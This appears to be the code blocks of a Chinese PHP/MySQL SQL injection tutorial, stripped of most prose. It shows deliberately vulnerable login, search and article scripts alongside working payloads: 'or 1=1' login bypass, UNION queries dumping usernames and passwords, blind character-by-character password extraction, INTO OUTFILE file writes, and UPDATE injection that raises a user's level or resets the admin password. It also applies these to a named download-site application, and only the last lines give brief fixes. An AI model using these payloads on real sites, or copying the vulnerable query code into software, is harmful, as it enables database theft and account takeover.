$command = "dir c:\"; system($command); |
①SELECT * FROM article WHERE articleid='$id' ②SELECT * FROM article WHERE articleid=$id |
① 指定变量$id为:
1' and 1=2 union select * from user where userid=1/* 此时整个SQL语句变为: SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'
②指定变量$id为:
1 and 1=2 union select * from user where userid=1 此时整个SQL语句变为: SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1 |
$sql = "SELECT *
FROM " . FORUMS_TABLE . " WHERE forum_id = $forum_id"; |
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment, `username` varchar(20) NOT NULL default '', `password` varchar(20) NOT NULL default '', PRIMARY KEY (`userid`) ) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# 导出表中的数据 `user` #
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
|
<?php
$servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (empty($userinfo))
{ echo "登陆失败"; } else { echo "登陆成功"; }
echo "<p>SQL Query:$sql<p>";
?> |
[url]http://127.0.0.1/injection/user.php?username=angel[/url]' or 1=1
|
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13
登陆失败
SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password=''
PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13
|
[url]http://127.0.0.1/injection/user.php?username=angel[/url]' or '1=1
|
[url]http://127.0.0.1/injection/user.php?username=angel[/url]'/*
[url]http://127.0.0.1/injection/user.php?username=angel[/url]'%23 |
<form method="GET" action="search.php" name="search">
<input name="keywords" type="text" value="" size="15"> <input type="submit" value="Search"> </form> <p><b>Search result</b></p>
<?php
$servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$keywords = $_GET['keywords'];
if (!empty($keywords)) { //$keywords = addslashes($keywords); //$keywords = str_replace("_","\_",$keywords); //$keywords = str_replace("%","\%",$keywords);
$sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC";
$result = mysql_db_query($dbname,$sql); $tatol=mysql_num_rows($result);
echo "<p>SQL Query:$sql<p>";
if ($tatol <=0){
echo "The \"<b>$keywords</b>\" was not found in all the record.<p>\n"; } else { while ($article=mysql_fetch_array($result)) { echo "<li>".htmlspecialchars($article[title])."<p>\n"; } //while } } else { echo "<b>Please enter some keywords.</b><p>\n"; } ?> |
%' ORDER BY articleid/*
%' ORDER BY articleid# __' ORDER BY articleid/* __' ORDER BY articleid# |
SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC
SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC |
<?php
$servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM user WHERE username='$username'";
$result = mysql_db_query($dbname,$sql); $row = mysql_fetch_array($result);
if (!$row) {
echo "该记录不存在"; echo "<p>SQL Query:$sql<p>"; exit; }
echo "你要查询的用户ID是:$row[userid]\n";
echo "<p>SQL Query:$sql<p>"; ?> |
SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM user WHERE username='$username'
|
[url]http://127.0.0.1/injection/user.php?username=angel[/url]' and password='mypass
|
SELECT * FROM user WHERE username='angel' AND password='mypass'
|
[url]http://127.0.0.1/injection/user.php?username=angel[/url]' and LENGTH(password)='6
|
[url]http://127.0.0.1/injection/user.php?username=angel[/url]' and LEFT(password,1)='m
[url]http://127.0.0.1/injection/user.php?username=angel[/url]' and LEFT(password,2)='my [url]http://127.0.0.1/injection/user.php?username=angel[/url]' and LEFT(password,3)='myp [url]http://127.0.0.1/injection/user.php?username=angel[/url]' and LEFT(password,4)='mypa [url]http://127.0.0.1/injection/user.php?username=angel[/url]' and LEFT(password,5)='mypas [url]http://127.0.0.1/injection/user.php?username=angel[/url]' and LEFT(password,6)='mypass |
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……
|
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……
|
The used SELECT statements have a different number of columns
|
CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment, `title` varchar(100) NOT NULL default '', `content` text NOT NULL, PRIMARY KEY (`articleid`) ) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# 导出表中的数据 `article` #
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!');
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); |
<?php
$servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_db_query($dbname,$sql); $row = mysql_fetch_array($result);
if (!$row)
{ echo "该记录不存在"; echo "<p>SQL Query:$sql<p>"; exit; }
echo "title<br>".$row[title]."<p>\n";
echo "content<br>".$row[content]."<p>\n"; echo "<p>SQL Query:$sql<p>"; ?> |
[url]http://127.0.0.1/injection/show.php?id=1[/url]
|
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM user ……
|
[url]http://127.0.0.1/injection/show.php?id=1[/url]' union select 1,username,password from user/*
|
[url]http://127.0.0.1/injection/show.php?id=[/url]' union select 1,username,password from user/*
[url]http://127.0.0.1/injection/show.php?id=99999[/url]' union select 1,username,password from user/* |
select * from table into outfile 'c:/file.txt'
select * from table into outfile '/var/www/file.txt' |
SELECT * FROM user WHERE username='$username' into outfile 'c:/file.txt'
|
[url]http://127.0.0.1/injection/user.php?username=angel[/url]' into outfile 'c:/file.txt
|
[url]http://127.0.0.1/injection/user.php?username=[/url]' or 1=1 into outfile 'c:/file.txt
|
SELECT * FROM user WHERE username='' or 1=1 into outfile 'c:/file.txt'
|
SELECT * FROM article WHERE articleid='1' union select 1,username,password from user into outfile 'c:/user.txt'
|
[url]http://127.0.0.1/injection/show.php?id=1[/url]' union select 1,username,password from user into outfile 'c:/user.txt
|
[url]http://127.0.0.1/injection/show.php?id=[/url]' union select 1,username,password from user into outfile 'c:/user.txt
|
CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR( 20 ) NOT NULL , `password` VARCHAR( 50 ) NOT NULL , `homepage` VARCHAR( 255 ) NOT NULL , `userlevel` INT DEFAULT '1' NOT NULL , PRIMARY KEY ( `userid` ) ); |
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
|
[url]http://4ngel.net[/url]', '3’)#
|
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');
|
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
|
[url]http://4ngel.net[/url]', userlevel='3
|
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
|
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
|
mypass)' WHERE username='admin'#
|
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
|
' OR username='admin'
|
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
|
DATABASE()
USER() SYSTEM_USER() SESSION_USER() CURRENT_USER() …… |
UPDATE article SET title=$title WHERE articleid=1
|
UPDATE article SET title=DATABASE() WHERE id=1
#把当前数据库名更新到title字段 UPDATE article SET title=USER() WHERE id=1 #把当前 MySQL 用户名更新到title字段 UPDATE article SET title=SYSTEM_USER() WHERE id=1 #把当前 MySQL 用户名更新到title字段 UPDATE article SET title=SESSION_USER() WHERE id=1 #把当前 MySQL 用户名更新到title字段 UPDATE article SET title=CURRENT_USER() WHERE id=1 #把当前会话被验证匹配的用户名更新到title 字段 |
[url]http://127.0.0.1/injection/show.php?id=1[/url]
|
[url]http://127.0.0.1/injection/show.php?id=-1[/url] union select 1,database(),version()
|
#!/usr/bin/perl
#cody by Super·Hei #to angel #C:\>test.pl c:\boot.ini #99,58,92,98,111,111,116,46,105,110,105
$ARGC = @ARGV;
if ($ARGC != 1) { print "Usage: $0 \n"; exit(1); }
$path=shift;
@char = unpack('C*', $path);
$asc=join(",",@char);
print $asc;
|
SELECT * FROM user WHERE username='angel'
|
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制。 SELECT * FROM user WHERE username=0x616E67656C # 0x616E67656C 相当于angel,十六进制。 |
SELECT * FROM user WHERE userid=userid
|
[url]http://127.0.0.1/injection/user.php?userid=1[/url]
|
[url]http://127.0.0.1/injection/user.php?userid=1[/url] and password=mypass
|
[url]http://127.0.0.1/injection/user.php?userid=1[/url] and password='mypass'
|
[url]http://127.0.0.1/injection/user.php?userid=1[/url] and password=char(109,121,112,97,115,115)
|
[url]http://127.0.0.1/injection/user.php?userid=1[/url] and LEFT(password,1)=char(109)
|
[url]http://127.0.0.1/injection/user.php?userid=1[/url] and LEFT(password,2)=char(109,121)
|
[url]http://127.0.0.1/injection/user.php?userid=1[/url] and LEFT(password,1)>char(100)
|
[url]http://127.0.0.1/injection/user.php?userid=1[/url] and LEFT(password,3)>char(109,121,111)
|
[url]http://127.0.0.1/injection/user.php?userid=1[/url] and LEFT(password,6)=char(109,121,112,97,115,115)
|
select char(109,121,112,97,115,115)
|
[url]http://127.0.0.1/injection/user.php?userid=1[/url] and mid(password,3,1)=char(112)
[url]http://127.0.0.1/injection/user.php?userid=1[/url] and mid(password,4,1)=char(97) |
[url]http://127.0.0.1/injection/user.php?userid=1[/url] and ord(mid(password,3,1))>111
[url]http://127.0.0.1/injection/user.php?userid=1[/url] and ord(mid(password,3,1))<113 [url]http://127.0.0.1/injection/user.php?userid=1[/url] and ord(mid(password,3,1))=112 |
[url]http://127.0.0.1/injection/show.php?id=-1[/url] union select 1,1,1
|
[url]http://127.0.0.1/injection/show.php?id=-1[/url] union select char(97),char(97),char(97)
|
[url]http://127.0.0.1/injection/show.php?id=1[/url] union select 1,1,1
|
[url]http://127.0.0.1/injection/show.php?id=1[/url] union select 1,1,1 from members
[url]http://127.0.0.1/injection/show.php?id=1[/url] union select 1,1,1 from admin [url]http://127.0.0.1/injection/show.php?id=1[/url] union select 1,1,1 from user |
site_article
site_user site_download forum_user forum_post …… |
[url]http://127.0.0.1/ymdown/show.php?id=1[/url] union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
|
[url]http://127.0.0.1/ymdown/show.php?id=1[/url] union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
|
[url]http://127.0.0.1/ymdown/show.php?id=1[/url] union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
|
if ($id > "0" && $id < "999999999" ):
//这里是正确执行的代码 else: echo "<p><center><a href=./list.php>无记录</a></p>\n"; |
[url]http://127.0.0.1/ymdown/show.php?id=10000[/url] union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
|
[url]http://127.0.0.1/ymdown/show.php?id=10000[/url] union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
|
CREATE TABLE ymdown (
id int(10) unsigned NOT NULL auto_increment, name varchar(100) NOT NULL, updatetime varchar(20) NOT NULL, size varchar(100) NOT NULL, empower varchar(100) NOT NULL, os varchar(100) NOT NULL, grade smallint(6) DEFAULT '0' NOT NULL, viewnum int(10) DEFAULT '0' NOT NULL, downnum int(10) DEFAULT '0' NOT NULL, homepage varchar(100), demo varchar(100), brief mediumtext, img varchar(100), sort2id smallint(6) DEFAULT '0' NOT NULL, down1 varchar(100) NOT NULL, down2 varchar(100), down3 varchar(100), down4 varchar(100), down5 varchar(100), PRIMARY KEY (id) ); |
[url]http://127.0.0.1/ymdown/show.php?id=10000[/url] union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
|
[url]http://127.0.0.1/ymdown/show.php?id=10[/url] union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
#验证第一位密码 [url]http://127.0.0.1/ymdown/show.php?id=10[/url] union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 #验证第二位密码 [url]http://127.0.0.1/ymdown/show.php?id=10[/url] union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51 #验证第三位密码 [url]http://127.0.0.1/ymdown/show.php?id=10[/url] union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52 #验证第四位密码 [url]http://127.0.0.1/ymdown/show.php?id=10[/url] union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53 #验证第五位密码 [url]http://127.0.0.1/ymdown/show.php?id=10[/url] union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54 #验证第六位密码 |
$id = intval($id);
mysql_query("SELECT * FROM article WHERE articleid='$id'"); |
mysql_query("SELECT * FROM article WHERE articleid=".intval($id)."")
|
$username = addslashes($username);
mysql_query("SELECT * FROM members WHERE userid='$username'"); |
mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."")
|
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords); $keywords = str_replace("%","\%",$keywords); |